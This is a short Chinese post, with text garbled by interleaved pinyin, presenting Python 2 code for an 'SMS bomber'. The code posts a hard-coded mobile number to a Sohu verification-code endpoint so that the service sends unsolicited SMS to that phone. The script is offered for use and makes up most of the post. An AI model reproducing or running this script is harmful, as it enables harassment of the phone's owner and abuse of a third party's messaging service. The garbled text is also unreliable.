python實(shí)現(xiàn)短信轟炸機(jī)

字號(hào):


    見有人發(fā)了個(gè)短信轟炸,是用PHP實(shí)現(xiàn)的,本人研究了下,用python實(shí)現(xiàn)短信轟炸機(jī),具體代碼如下:
    import urllib2
    import cookielib
    import urllib
    cookie = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
    response = opener.open('http://t.sohu.com/settings/bindMobile/registSendVerificationCode')
    data={'mobileNumber':'13558233012'}
    r=opener.open('http://t.sohu.com/settings/bindMobile/registSendVerificationCode',urllib.urlencode(data))
    print r.read()